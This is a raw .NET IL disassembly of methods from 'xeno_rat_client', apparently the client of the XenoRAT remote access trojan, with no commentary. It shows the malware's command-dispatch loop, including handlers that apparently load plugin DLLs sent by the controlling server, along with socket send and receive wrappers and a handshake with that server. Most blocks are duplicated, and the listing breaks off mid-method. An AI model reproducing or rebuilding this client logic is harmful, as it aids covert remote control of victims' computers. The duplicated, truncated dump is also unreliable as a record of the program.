00003b08ldloc.s 5
00003b0astfld <>u__2
00003b0fldarg.0
00003b10ldflda <>t__builder
00003b15ldloca.s 5
00003b17ldarg.0
00003b18call 0x2B00001E
00003b1dleave IL_02b5
00003b22ldarg.0
00003b23ldfld <>u__2
00003b28stloc.s 5
00003b2aldarg.0
00003b2bldflda <>u__2
00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
00003b36ldarg.0
00003b37ldc.i4.m1
00003b38dup
00003b39stloc.0
00003b3astfld <>1__state
00003b3fldloca.s 5
00003b41call GetResult
00003b46br IL_025f
00003b4bldloc.1
00003b4cldfld dllhandler
00003b51ldarg.0
00003b52ldfld subServer
00003b57callvirt DllNodeHandler
00003b5ccallvirt GetAwaiter
00003b61stloc.s 5
00003b63ldloca.s 5
00003b65call get_IsCompleted
00003b6abrtrue.s IL_0185
00003b6cldarg.0
00003b6dldc.i4.2
00003b6edup
00003b6fstloc.0
00003b70stfld <>1__state
00003b75ldarg.0
00003b76ldloc.s 5
00003b78stfld <>u__2
00003b7dldarg.0
00003b7eldflda <>t__builder
00003b83ldloca.s 5
00003b85ldarg.0
00003b86call 0x2B00001E
00003b8bleave IL_02b5
00003b90ldarg.0
00003b91ldfld <>u__2
00003b96stloc.s 5
00003b98ldarg.0
00003b99ldflda <>u__2
00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
00003ba4ldarg.0
00003ba5ldc.i4.m1
00003ba6dup
00003ba7stloc.0
00003ba8stfld <>1__state
00003badldloca.s 5
00003bafcall GetResult
00003bb4br IL_027c
00003bb9ldloc.1
00003bbaldarg.0
00003bbbldfld subServer
00003bc0ldloc.2
00003bc1call setSetId
00003bc6callvirt GetAwaiter
00003bcbstloc.s 5
00003bcdldloca.s 5
00003bcfcall get_IsCompleted
00003bd4brtrue.s IL_01ef
00003bd6ldarg.0
00003bd7ldc.i4.3
00003bd8dup
00003bd9stloc.0
00003bdastfld <>1__state
00003bdfldarg.0
00003be0ldloc.s 5
00003be2stfld <>u__2
00003be7ldarg.0
00003be8ldflda <>t__builder
00003bedldloca.s 5
00003befldarg.0
00003bf0call 0x2B00001E
00003bf5leave IL_02b5
00003bfaldarg.0
00003bfbldfld <>u__2
00003c00stloc.s 5
00003c02ldarg.0
00003c03ldflda <>u__2
00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
00003c0eldarg.0
00003c0fldc.i4.m1
00003c10dup
00003c11stloc.0
00003c12stfld <>1__state
00003c17ldloca.s 5
00003c19call GetResult
00003c1ebr.s IL_025f
00003c20leave IL_02a2
00003c25ldloc.1
00003c26ldarg.0
00003c27ldfld subServer
00003c2cldloc.2
00003c2dcall DebugMenu
00003c32callvirt GetAwaiter
00003c37stloc.s 5
00003c39ldloca.s 5
00003c3bcall get_IsCompleted
00003c40brtrue.s IL_0258
00003c42ldarg.0
00003c43ldc.i4.4
00003c44dup
00003c45stloc.0
00003c46stfld <>1__state
00003c4bldarg.0
00003c4cldloc.s 5
00003c4estfld <>u__2
00003c53ldarg.0
00003c54ldflda <>t__builder
00003c59ldloca.s 5
00003c5bldarg.0
00003c5ccall 0x2B00001E
00003c61leave.s IL_02b5
00003c63ldarg.0
00003c64ldfld <>u__2
00003c69stloc.s 5
00003c6bldarg.0
00003c6cldflda <>u__2
00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
00003c77ldarg.0
00003c78ldc.i4.m1
00003c79dup
00003c7astloc.0
00003c7bstfld <>1__state
00003c80ldloca.s 5
00003c82call GetResult
00003c87ldarg.0
00003c88ldfld subServer
00003c8dcallvirt Connected
00003c92brfalse.s IL_027c
00003c94ldloc.1
00003c95ldfld Main
00003c9acallvirt Connected
00003c9fbrtrue IL_002d
00003ca4ldarg.0
00003ca5ldfld subServer
00003caacallvirt Disconnect
00003cafleave.s IL_02a2
00003cb1stloc.s 6
00003cb3ldarg.0
00003cb4ldc.i4.s -2
00003cb6stfld <>1__state
00003cbbldarg.0
00003cbcldflda <>t__builder
00003cc1ldloc.s 6
00003cc3call SetException
00003cc8leave.s IL_02b5
00003ccaldarg.0
00003ccbldc.i4.s -2
00003ccdstfld <>1__state
00003cd2ldarg.0
00003cd3ldflda <>t__builder
00003cd8call SetResult
00003cddret
00003a28
00003a28<Type2Receive>d__9::MoveNext:
00003a28ldarg.0
00003a29ldfld <>1__state
00003a2estloc.0
00003a2fldarg.0
00003a30ldfld <>4__this
00003a35stloc.1
00003a36ldloc.0
00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
00003a50br IL_025f
00003a55ldarg.0
00003a56ldfld subServer
00003a5bcallvirt ReceiveAsync
00003a60callvirt GetAwaiter
00003a65stloc.s 4
00003a67ldloca.s 4
00003a69call get_IsCompleted
00003a6ebrtrue.s IL_0089
00003a70ldarg.0
00003a71ldc.i4.0
00003a72dup
00003a73stloc.0
00003a74stfld <>1__state
00003a79ldarg.0
00003a7aldloc.s 4
00003a7cstfld <>u__1
00003a81ldarg.0
00003a82ldflda <>t__builder
00003a87ldloca.s 4
00003a89ldarg.0
00003a8acall 0x2B00001D
00003a8fleave IL_02b5
00003a94ldarg.0
00003a95ldfld <>u__1
00003a9astloc.s 4
00003a9cldarg.0
00003a9dldflda <>u__1
00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00003aa8ldarg.0
00003aa9ldc.i4.m1
00003aaadup
00003aabstloc.0
00003aacstfld <>1__state
00003ab1ldloca.s 4
00003ab3call GetResult
00003ab8stloc.2
00003ab9ldloc.2
00003ababrfalse IL_027c
00003abfldloc.2
00003ac0ldc.i4.0
00003ac1ldelem.u1
00003ac2stloc.3
00003ac3ldloc.3
00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
00003addbr IL_025f
00003ae2ldloc.1
00003ae3ldarg.0
00003ae4ldfld subServer
00003ae9call SendUpdateInfo
00003aeecallvirt GetAwaiter
00003af3stloc.s 5
00003af5ldloca.s 5
00003af7call get_IsCompleted
00003afcbrtrue.s IL_0117
00003afeldarg.0
00003affldc.i4.1
00003b00dup
00003b01stloc.0
00003b02stfld <>1__state
00003b07ldarg.0
00003b08ldloc.s 5
00003b0astfld <>u__2
00003b0fldarg.0
00003b10ldflda <>t__builder
00003b15ldloca.s 5
00003b17ldarg.0
00003b18call 0x2B00001E
00003b1dleave IL_02b5
00003b22ldarg.0
00003b23ldfld <>u__2
00003b28stloc.s 5
00003b2aldarg.0
00003b2bldflda <>u__2
00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
00003b36ldarg.0
00003b37ldc.i4.m1
00003b38dup
00003b39stloc.0
00003b3astfld <>1__state
00003b3fldloca.s 5
00003b41call GetResult
00003b46br IL_025f
00003b4bldloc.1
00003b4cldfld dllhandler
00003b51ldarg.0
00003b52ldfld subServer
00003b57callvirt DllNodeHandler
00003b5ccallvirt GetAwaiter
00003b61stloc.s 5
00003b63ldloca.s 5
00003b65call get_IsCompleted
00003b6abrtrue.s IL_0185
00003b6cldarg.0
00003b6dldc.i4.2
00003b6edup
00003b6fstloc.0
00003b70stfld <>1__state
00003b75ldarg.0
00003b76ldloc.s 5
00003b78stfld <>u__2
00003b7dldarg.0
00003b7eldflda <>t__builder
00003b83ldloca.s 5
00003b85ldarg.0
00003b86call 0x2B00001E
00003b8bleave IL_02b5
00003b90ldarg.0
00003b91ldfld <>u__2
00003b96stloc.s 5
00003b98ldarg.0
00003b99ldflda <>u__2
00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
00003ba4ldarg.0
00003ba5ldc.i4.m1
00003ba6dup
00003ba7stloc.0
00003ba8stfld <>1__state
00003badldloca.s 5
00003bafcall GetResult
00003bb4br IL_027c
00003bb9ldloc.1
00003bbaldarg.0
00003bbbldfld subServer
00003bc0ldloc.2
00003bc1call setSetId
00003bc6callvirt GetAwaiter
00003bcbstloc.s 5
00003bcdldloca.s 5
00003bcfcall get_IsCompleted
00003bd4brtrue.s IL_01ef
00003bd6ldarg.0
00003bd7ldc.i4.3
00003bd8dup
00003bd9stloc.0
00003bdastfld <>1__state
00003bdfldarg.0
00003be0ldloc.s 5
00003be2stfld <>u__2
00003be7ldarg.0
00003be8ldflda <>t__builder
00003bedldloca.s 5
00003befldarg.0
00003bf0call 0x2B00001E
00003bf5leave IL_02b5
00003bfaldarg.0
00003bfbldfld <>u__2
00003c00stloc.s 5
00003c02ldarg.0
00003c03ldflda <>u__2
00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
00003c0eldarg.0
00003c0fldc.i4.m1
00003c10dup
00003c11stloc.0
00003c12stfld <>1__state
00003c17ldloca.s 5
00003c19call GetResult
00003c1ebr.s IL_025f
00003c20leave IL_02a2
00003c25ldloc.1
00003c26ldarg.0
00003c27ldfld subServer
00003c2cldloc.2
00003c2dcall DebugMenu
00003c32callvirt GetAwaiter
00003c37stloc.s 5
00003c39ldloca.s 5
00003c3bcall get_IsCompleted
00003c40brtrue.s IL_0258
00003c42ldarg.0
00003c43ldc.i4.4
00003c44dup
00003c45stloc.0
00003c46stfld <>1__state
00003c4bldarg.0
00003c4cldloc.s 5
00003c4estfld <>u__2
00003c53ldarg.0
00003c54ldflda <>t__builder
00003c59ldloca.s 5
00003c5bldarg.0
00003c5ccall 0x2B00001E
00003c61leave.s IL_02b5
00003c63ldarg.0
00003c64ldfld <>u__2
00003c69stloc.s 5
00003c6bldarg.0
00003c6cldflda <>u__2
00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
00003c77ldarg.0
00003c78ldc.i4.m1
00003c79dup
00003c7astloc.0
00003c7bstfld <>1__state
00003c80ldloca.s 5
00003c82call GetResult
00003c87ldarg.0
00003c88ldfld subServer
00003c8dcallvirt Connected
00003c92brfalse.s IL_027c
00003c94ldloc.1
00003c95ldfld Main
00003c9acallvirt Connected
00003c9fbrtrue IL_002d
00003ca4ldarg.0
00003ca5ldfld subServer
00003caacallvirt Disconnect
00003cafleave.s IL_02a2
00003cb1stloc.s 6
00003cb3ldarg.0
00003cb4ldc.i4.s -2
00003cb6stfld <>1__state
00003cbbldarg.0
00003cbcldflda <>t__builder
00003cc1ldloc.s 6
00003cc3call SetException
00003cc8leave.s IL_02b5
00003ccaldarg.0
00003ccbldc.i4.s -2
00003ccdstfld <>1__state
00003cd2ldarg.0
00003cd3ldflda <>t__builder
00003cd8call SetResult
00003cddret
00003a28
00003d08
00003d08<setSetId>d__8::MoveNext:
00003d08ldarg.0
00003d09ldfld <>1__state
00003d0estloc.0
00003d0fldloc.0
00003d10brfalse.s IL_0072
00003d12ldc.i4.1
00003d13newarr System.Byte
00003d18dup
00003d19ldc.i4.0
00003d1aldc.i4.1
00003d1bstelem.i1
00003d1cstloc.1
00003d1dldarg.0
00003d1eldfld subServer
00003d23ldarg.0
00003d24ldfld subServer
00003d29ldfld sock
00003d2eldarg.0
00003d2fldfld data
00003d34ldc.i4.1
00003d35callvirt BytesToInt
00003d3astfld SetId
00003d3fldarg.0
00003d40ldfld subServer
00003d45ldloc.1
00003d46callvirt SendAsync
00003d4bcallvirt GetAwaiter
00003d50stloc.2
00003d51ldloca.s 2
00003d53call get_IsCompleted
00003d58brtrue.s IL_008e
00003d5aldarg.0
00003d5bldc.i4.0
00003d5cdup
00003d5dstloc.0
00003d5estfld <>1__state
00003d63ldarg.0
00003d64ldloc.2
00003d65stfld <>u__1
00003d6aldarg.0
00003d6bldflda <>t__builder
00003d70ldloca.s 2
00003d72ldarg.0
00003d73call 0x2B00001F
00003d78leave.s IL_00c2
00003d7aldarg.0
00003d7bldfld <>u__1
00003d80stloc.2
00003d81ldarg.0
00003d82ldflda <>u__1
00003d87initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003d8dldarg.0
00003d8eldc.i4.m1
00003d8fdup
00003d90stloc.0
00003d91stfld <>1__state
00003d96ldloca.s 2
00003d98call GetResult
00003d9dpop
00003d9eleave.s IL_00af
00003da0stloc.3
00003da1ldarg.0
00003da2ldc.i4.s -2
00003da4stfld <>1__state
00003da9ldarg.0
00003daaldflda <>t__builder
00003dafldloc.3
00003db0call SetException
00003db5leave.s IL_00c2
00003db7ldarg.0
00003db8ldc.i4.s -2
00003dbastfld <>1__state
00003dbfldarg.0
00003dc0ldflda <>t__builder
00003dc5call SetResult
00003dcaret
00003d08
00003d08<setSetId>d__8::MoveNext:
00003d08ldarg.0
00003d09ldfld <>1__state
00003d0estloc.0
00003d0fldloc.0
00003d10brfalse.s IL_0072
00003d12ldc.i4.1
00003d13newarr System.Byte
00003d18dup
00003d19ldc.i4.0
00003d1aldc.i4.1
00003d1bstelem.i1
00003d1cstloc.1
00003d1dldarg.0
00003d1eldfld subServer
00003d23ldarg.0
00003d24ldfld subServer
00003d29ldfld sock
00003d2eldarg.0
00003d2fldfld data
00003d34ldc.i4.1
00003d35callvirt BytesToInt
00003d3astfld SetId
00003d3fldarg.0
00003d40ldfld subServer
00003d45ldloc.1
00003d46callvirt SendAsync
00003d4bcallvirt GetAwaiter
00003d50stloc.2
00003d51ldloca.s 2
00003d53call get_IsCompleted
00003d58brtrue.s IL_008e
00003d5aldarg.0
00003d5bldc.i4.0
00003d5cdup
00003d5dstloc.0
00003d5estfld <>1__state
00003d63ldarg.0
00003d64ldloc.2
00003d65stfld <>u__1
00003d6aldarg.0
00003d6bldflda <>t__builder
00003d70ldloca.s 2
00003d72ldarg.0
00003d73call 0x2B00001F
00003d78leave.s IL_00c2
00003d7aldarg.0
00003d7bldfld <>u__1
00003d80stloc.2
00003d81ldarg.0
00003d82ldflda <>u__1
00003d87initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003d8dldarg.0
00003d8eldc.i4.m1
00003d8fdup
00003d90stloc.0
00003d91stfld <>1__state
00003d96ldloca.s 2
00003d98call GetResult
00003d9dpop
00003d9eleave.s IL_00af
00003da0stloc.3
00003da1ldarg.0
00003da2ldc.i4.s -2
00003da4stfld <>1__state
00003da9ldarg.0
00003daaldflda <>t__builder
00003dafldloc.3
00003db0call SetException
00003db5leave.s IL_00c2
00003db7ldarg.0
00003db8ldc.i4.s -2
00003dbastfld <>1__state
00003dbfldarg.0
00003dc0ldflda <>t__builder
00003dc5call SetResult
00003dcaret
00003d08
00003de8
00003de8xeno_rat_client.Node::Disconnect:
00003de8ldloca.s 0
00003deacall Create
00003defstfld <>t__builder
00003df4ldloca.s 0
00003df6ldarg.0
00003df7stfld <>4__this
00003dfcldloca.s 0
00003dfeldc.i4.m1
00003dffstfld <>1__state
00003e04ldloca.s 0
00003e06ldflda <>t__builder
00003e0bldloca.s 0
00003e0dcall 0x2B000020
00003e12ret
00003de8
00003de8xeno_rat_client.Node::Disconnect:
00003de8ldloca.s 0
00003deacall Create
00003defstfld <>t__builder
00003df4ldloca.s 0
00003df6ldarg.0
00003df7stfld <>4__this
00003dfcldloca.s 0
00003dfeldc.i4.m1
00003dffstfld <>1__state
00003e04ldloca.s 0
00003e06ldflda <>t__builder
00003e0bldloca.s 0
00003e0dcall 0x2B000020
00003e12ret
00003de8
00003e20
00003e20xeno_rat_client.Node::ConnectSubSockAsync:
00003e20ldloca.s 0
00003e22call Create
00003e27stfld <>t__builder
00003e2cldloca.s 0
00003e2eldarg.0
00003e2fstfld <>4__this
00003e34ldloca.s 0
00003e36ldarg.1
00003e37stfld type
00003e3cldloca.s 0
00003e3eldarg.2
00003e3fstfld retid
00003e44ldloca.s 0
00003e46ldarg.3
00003e47stfld OnDisconnect
00003e4cldloca.s 0
00003e4eldc.i4.m1
00003e4fstfld <>1__state
00003e54ldloca.s 0
00003e56ldflda <>t__builder
00003e5bldloca.s 0
00003e5dcall 0x2B000021
00003e62ldloca.s 0
00003e64ldflda <>t__builder
00003e69call get_Task
00003e6eret
00003e20
00003e20xeno_rat_client.Node::ConnectSubSockAsync:
00003e20ldloca.s 0
00003e22call Create
00003e27stfld <>t__builder
00003e2cldloca.s 0
00003e2eldarg.0
00003e2fstfld <>4__this
00003e34ldloca.s 0
00003e36ldarg.1
00003e37stfld type
00003e3cldloca.s 0
00003e3eldarg.2
00003e3fstfld retid
00003e44ldloca.s 0
00003e46ldarg.3
00003e47stfld OnDisconnect
00003e4cldloca.s 0
00003e4eldc.i4.m1
00003e4fstfld <>1__state
00003e54ldloca.s 0
00003e56ldflda <>t__builder
00003e5bldloca.s 0
00003e5dcall 0x2B000021
00003e62ldloca.s 0
00003e64ldflda <>t__builder
00003e69call get_Task
00003e6eret
00003e20
00003e7c
00003e7cxeno_rat_client.Node::Connected:
00003e7cldarg.0
00003e7dldfld sock
00003e82ldfld sock
00003e87callvirt get_Connected
00003e8cstloc.0
00003e8dleave.s IL_0018
00003e8fpop
00003e90ldc.i4.0
00003e91stloc.0
00003e92leave.s IL_0018
00003e94ldloc.0
00003e95ret
00003e7c
00003e7cxeno_rat_client.Node::Connected:
00003e7cldarg.0
00003e7dldfld sock
00003e82ldfld sock
00003e87callvirt get_Connected
00003e8cstloc.0
00003e8dleave.s IL_0018
00003e8fpop
00003e90ldc.i4.0
00003e91stloc.0
00003e92leave.s IL_0018
00003e94ldloc.0
00003e95ret
00003e7c
00003eb4
00003eb4xeno_rat_client.Node::ReceiveAsync:
00003eb4ldloca.s 0
00003eb6call Create
00003ebbstfld <>t__builder
00003ec0ldloca.s 0
00003ec2ldarg.0
00003ec3stfld <>4__this
00003ec8ldloca.s 0
00003ecaldc.i4.m1
00003ecbstfld <>1__state
00003ed0ldloca.s 0
00003ed2ldflda <>t__builder
00003ed7ldloca.s 0
00003ed9call 0x2B000022
00003edeldloca.s 0
00003ee0ldflda <>t__builder
00003ee5call get_Task
00003eearet
00003eb4
00003eb4xeno_rat_client.Node::ReceiveAsync:
00003eb4ldloca.s 0
00003eb6call Create
00003ebbstfld <>t__builder
00003ec0ldloca.s 0
00003ec2ldarg.0
00003ec3stfld <>4__this
00003ec8ldloca.s 0
00003ecaldc.i4.m1
00003ecbstfld <>1__state
00003ed0ldloca.s 0
00003ed2ldflda <>t__builder
00003ed7ldloca.s 0
00003ed9call 0x2B000022
00003edeldloca.s 0
00003ee0ldflda <>t__builder
00003ee5call get_Task
00003eearet
00003eb4
00003ef8
00003ef8xeno_rat_client.Node::SendAsync:
00003ef8ldloca.s 0
00003efacall Create
00003effstfld <>t__builder
00003f04ldloca.s 0
00003f06ldarg.0
00003f07stfld <>4__this
00003f0cldloca.s 0
00003f0eldarg.1
00003f0fstfld data
00003f14ldloca.s 0
00003f16ldc.i4.m1
00003f17stfld <>1__state
00003f1cldloca.s 0
00003f1eldflda <>t__builder
00003f23ldloca.s 0
00003f25call 0x2B000023
00003f2aldloca.s 0
00003f2cldflda <>t__builder
00003f31call get_Task
00003f36ret
00003ef8
00003ef8xeno_rat_client.Node::SendAsync:
00003ef8ldloca.s 0
00003efacall Create
00003effstfld <>t__builder
00003f04ldloca.s 0
00003f06ldarg.0
00003f07stfld <>4__this
00003f0cldloca.s 0
00003f0eldarg.1
00003f0fstfld data
00003f14ldloca.s 0
00003f16ldc.i4.m1
00003f17stfld <>1__state
00003f1cldloca.s 0
00003f1eldflda <>t__builder
00003f23ldloca.s 0
00003f25call 0x2B000023
00003f2aldloca.s 0
00003f2cldflda <>t__builder
00003f31call get_Task
00003f36ret
00003ef8
00003f44
00003f44xeno_rat_client.Node::AuthenticateAsync:
00003f44ldloca.s 0
00003f46call Create
00003f4bstfld <>t__builder
00003f50ldloca.s 0
00003f52ldarg.0
00003f53stfld <>4__this
00003f58ldloca.s 0
00003f5aldarg.1
00003f5bstfld type
00003f60ldloca.s 0
00003f62ldarg.2
00003f63stfld id
00003f68ldloca.s 0
00003f6aldc.i4.m1
00003f6bstfld <>1__state
00003f70ldloca.s 0
00003f72ldflda <>t__builder
00003f77ldloca.s 0
00003f79call 0x2B000024
00003f7eldloca.s 0
00003f80ldflda <>t__builder
00003f85call get_Task
00003f8aret
00003f44
00003f44xeno_rat_client.Node::AuthenticateAsync:
00003f44ldloca.s 0
00003f46call Create
00003f4bstfld <>t__builder
00003f50ldloca.s 0
00003f52ldarg.0
00003f53stfld <>4__this
00003f58ldloca.s 0
00003f5aldarg.1
00003f5bstfld type
00003f60ldloca.s 0
00003f62ldarg.2
00003f63stfld id
00003f68ldloca.s 0
00003f6aldc.i4.m1
00003f6bstfld <>1__state
00003f70ldloca.s 0
00003f72ldflda <>t__builder
00003f77ldloca.s 0
00003f79call 0x2B000024
00003f7eldloca.s 0
00003f80ldflda <>t__builder
00003f85call get_Task
00003f8aret
00003f44
00003f98
00003f98<AuthenticateAsync>d__18::MoveNext:
00003f98ldarg.0
00003f99ldfld <>1__state
00003f9estloc.0
00003f9fldarg.0
00003fa0ldfld <>4__this
00003fa5stloc.1
00003fa6ldloc.0
00003fa7ldc.i4.5
00003fa8ble.un.s IL_0029
00003faaldarg.0
00003fabldc.i4.7
00003facnewarr System.Byte
00003fb1dup
00003fb2ldtoken 1D1CC35EA61331C5A85D2A960611153E37A62DCD916269D6E3B5A0DAC2EF3824
00003fb7call InitializeArray
00003fbcstfld <comp>5__2
00003fc1nop
00003fc2ldloc.0
00003fc3switch (IL_0097, IL_00fc, IL_0168, IL_01fe, IL_0275, IL_0313)
00003fe0ldloc.1
00003fe1ldfld sock
00003fe6ldc.i4 5000
00003febcallvirt SetRecvTimeout
00003ff0ldloc.1
00003ff1ldfld sock
00003ff6callvirt ReceiveAsync
00003ffbcallvirt GetAwaiter
00004000stloc.s 4
00004002ldloca.s 4
00004004call get_IsCompleted
00004009brtrue.s IL_00b4
0000400bldarg.0
0000400cldc.i4.0
0000400ddup
0000400estloc.0
0000400fstfld <>1__state
00004014ldarg.0
00004015ldloc.s 4
00004017stfld <>u__1
0000401cldarg.0
0000401dldflda <>t__builder
00004022ldloca.s 4
00004024ldarg.0
00004025call 0x2B000025
0000402aleave IL_0391
0000402fldarg.0
00004030ldfld <>u__1
00004035stloc.s 4
00004037ldarg.0
00004038ldflda <>u__1
0000403dinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004043ldarg.0
00004044ldc.i4.m1
00004045dup
00004046stloc.0
00004047stfld <>1__state
0000404cldloca.s 4
0000404ecall GetResult
00004053stloc.3
00004054ldloc.1
00004055ldfld sock
0000405aldloc.3
0000405bcallvirt SendAsync
00004060callvirt GetAwaiter
00004065stloc.s 5
00004067ldloca.s 5
00004069call get_IsCompleted
0000406ebrtrue.s IL_0119
00004070ldarg.0
00004071ldc.i4.1
00004072dup
00004073stloc.0
00004074stfld <>1__state
00004079ldarg.0
0000407aldloc.s 5
0000407cstfld <>u__2
00004081ldarg.0
00004082ldflda <>t__builder
00004087ldloca.s 5
00004089ldarg.0
0000408acall 0x2B000026
0000408fleave IL_0391
00004094ldarg.0
00004095ldfld <>u__2
0000409astloc.s 5
0000409cldarg.0
0000409dldflda <>u__2
000040a2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000040a8ldarg.0
000040a9ldc.i4.m1
000040aadup
000040abstloc.0
000040acstfld <>1__state
000040b1ldloca.s 5
000040b3call GetResult
000040b8brtrue.s IL_0129
000040baldc.i4.0
000040bbstloc.2
000040bcleave IL_0376
000040c1ldloc.1
000040c2ldfld sock
000040c7callvirt ReceiveAsync
000040cccallvirt GetAwaiter
000040d1stloc.s 4
000040d3ldloca.s 4
000040d5call get_IsCompleted
000040dabrtrue.s IL_0185
000040dcldarg.0
000040ddldc.i4.2
000040dedup
000040dfstloc.0
000040e0stfld <>1__state
000040e5ldarg.0
000040e6ldloc.s 4
000040e8stfld <>u__1
000040edldarg.0
000040eeldflda <>t__builder
000040f3ldloca.s 4
000040f5ldarg.0
000040f6call 0x2B000025
000040fbleave IL_0391
00004100ldarg.0
00004101ldfld <>u__1
00004106stloc.s 4
00004108ldarg.0
00004109ldflda <>u__1
0000410einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004114ldarg.0
00004115ldc.i4.m1
00004116dup
00004117stloc.0
00004118stfld <>1__state
0000411dldloca.s 4
0000411fcall GetResult
00004124stloc.3
00004125ldloc.1
00004126ldfld sock
0000412bcallvirt ResetRecvTimeout
00004130ldloc.1
00004131ldarg.0
00004132ldfld <comp>5__2
00004137ldloc.3
00004138call ByteArrayCompare
0000413dbrfalse IL_034d
00004142ldloc.1
00004143ldfld sock
00004148ldarg.0
00004149ldfld type
0000414ecallvirt IntToBytes
00004153stloc.s 6
00004155ldloc.1
00004156ldfld sock
0000415bldloc.s 6
0000415dcallvirt SendAsync
00004162callvirt GetAwaiter
00004167stloc.s 5
00004169ldloca.s 5
0000416bcall get_IsCompleted
00004170brtrue.s IL_021b
00004172ldarg.0
00004173ldc.i4.3
00004174dup
00004175stloc.0
00004176stfld <>1__state
0000417bldarg.0
0000417cldloc.s 5
0000417estfld <>u__2
00004183ldarg.0
00004184ldflda <>t__builder
00004189ldloca.s 5
0000418bldarg.0
0000418ccall 0x2B000026
00004191leave IL_0391
00004196ldarg.0
00004197ldfld <>u__2
0000419cstloc.s 5
0000419eldarg.0
0000419fldflda <>u__2
000041a4initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000041aaldarg.0
000041abldc.i4.m1
000041acdup
000041adstloc.0
000041aestfld <>1__state
000041b3ldloca.s 5
000041b5call GetResult
000041babrtrue.s IL_022b
000041bcldc.i4.0
000041bdstloc.2
000041beleave IL_0376
000041c3ldarg.0
000041c4ldfld type
000041c9brtrue IL_02b6
000041celdloc.1
000041cfldfld sock
000041d4callvirt ReceiveAsync
000041d9callvirt GetAwaiter
000041destloc.s 4
000041e0ldloca.s 4
000041e2call get_IsCompleted
000041e7brtrue.s IL_0292
000041e9ldarg.0
000041ealdc.i4.4
000041ebdup
000041ecstloc.0
000041edstfld <>1__state
000041f2ldarg.0
000041f3ldloc.s 4
000041f5stfld <>u__1
000041faldarg.0
000041fbldflda <>t__builder
00004200ldloca.s 4
00004202ldarg.0
00004203call 0x2B000025
00004208leave IL_0391
0000420dldarg.0
0000420eldfld <>u__1
00004213stloc.s 4
00004215ldarg.0
00004216ldflda <>u__1
0000421binitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004221ldarg.0
00004222ldc.i4.m1
00004223dup
00004224stloc.0
00004225stfld <>1__state
0000422aldloca.s 4
0000422ccall GetResult
00004231stloc.3
00004232ldloc.1
00004233ldfld sock
00004238ldloc.3
00004239ldc.i4.0
0000423acallvirt BytesToInt
0000423fstloc.s 7
00004241ldloc.1
00004242ldloc.s 7
00004244stfld ID
00004249br IL_033d
0000424eldloc.1
0000424fldarg.0
00004250ldfld id
00004255stfld ID
0000425aldloc.1
0000425bldfld sock
00004260ldarg.0
00004261ldfld id
00004266callvirt IntToBytes
0000426bstloc.s 8
0000426dldloc.1
0000426eldfld sock
00004273ldloc.s 8
00004275callvirt SendAsync
0000427acallvirt GetAwaiter
0000427fstloc.s 5
00004281ldloca.s 5
00004283call get_IsCompleted
00004288brtrue.s IL_0330
0000428aldarg.0
0000428bldc.i4.5
0000428cdup
0000428dstloc.0
0000428estfld <>1__state
00004293ldarg.0
00004294ldloc.s 5
00004296stfld <>u__2
0000429bldarg.0
0000429cldflda <>t__builder
000042a1ldloca.s 5
000042a3ldarg.0
000042a4call 0x2B000026
000042a9leave.s IL_0391
000042abldarg.0
000042acldfld <>u__2
000042b1stloc.s 5
000042b3ldarg.0
000042b4ldflda <>u__2
000042b9initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000042bfldarg.0
000042c0ldc.i4.m1
000042c1dup
000042c2stloc.0
000042c3stfld <>1__state
000042c8ldloca.s 5
000042cacall GetResult
000042cfbrtrue.s IL_033d
000042d1ldc.i4.0
000042d2stloc.2
000042d3leave.s IL_0376
000042d5ldloc.1
000042d6ldarg.0
000042d7ldfld type
000042dcstfld SockType
000042e1ldc.i4.1
000042e2stloc.2
000042e3leave.s IL_0376
000042e5leave.s IL_0352
000042e7pop
000042e8leave.s IL_0352
000042ealdc.i4.0
000042ebstloc.2
000042ecleave.s IL_0376
000042eestloc.s 9
000042f0ldarg.0
000042f1ldc.i4.s -2
000042f3stfld <>1__state
000042f8ldarg.0
000042f9ldnull
000042fastfld <comp>5__2
000042ffldarg.0
00004300ldflda <>t__builder
00004305ldloc.s 9
00004307call SetException
0000430cleave.s IL_0391
0000430eldarg.0
0000430fldc.i4.s -2
00004311stfld <>1__state
00004316ldarg.0
00004317ldnull
00004318stfld <comp>5__2
0000431dldarg.0
0000431eldflda <>t__builder
00004323ldloc.2
00004324call SetResult
00004329ret
00003f98
00003f98<AuthenticateAsync>d__18::MoveNext:
00003f98ldarg.0
00003f99ldfld <>1__state
00003f9estloc.0
00003f9fldarg.0
00003fa0ldfld <>4__this
00003fa5stloc.1
00003fa6ldloc.0
00003fa7ldc.i4.5
00003fa8ble.un.s IL_0029
00003faaldarg.0
00003fabldc.i4.7
00003facnewarr System.Byte
00003fb1dup
00003fb2ldtoken 1D1CC35EA61331C5A85D2A960611153E37A62DCD916269D6E3B5A0DAC2EF3824
00003fb7call InitializeArray
00003fbcstfld <comp>5__2
00003fc1nop
00003fc2ldloc.0
00003fc3switch (IL_0097, IL_00fc, IL_0168, IL_01fe, IL_0275, IL_0313)
00003fe0ldloc.1
00003fe1ldfld sock
00003fe6ldc.i4 5000
00003febcallvirt SetRecvTimeout
00003ff0ldloc.1
00003ff1ldfld sock
00003ff6callvirt ReceiveAsync
00003ffbcallvirt GetAwaiter
00004000stloc.s 4
00004002ldloca.s 4
00004004call get_IsCompleted
00004009brtrue.s IL_00b4
0000400bldarg.0
0000400cldc.i4.0
0000400ddup
0000400estloc.0
0000400fstfld <>1__state
00004014ldarg.0
00004015ldloc.s 4
00004017stfld <>u__1
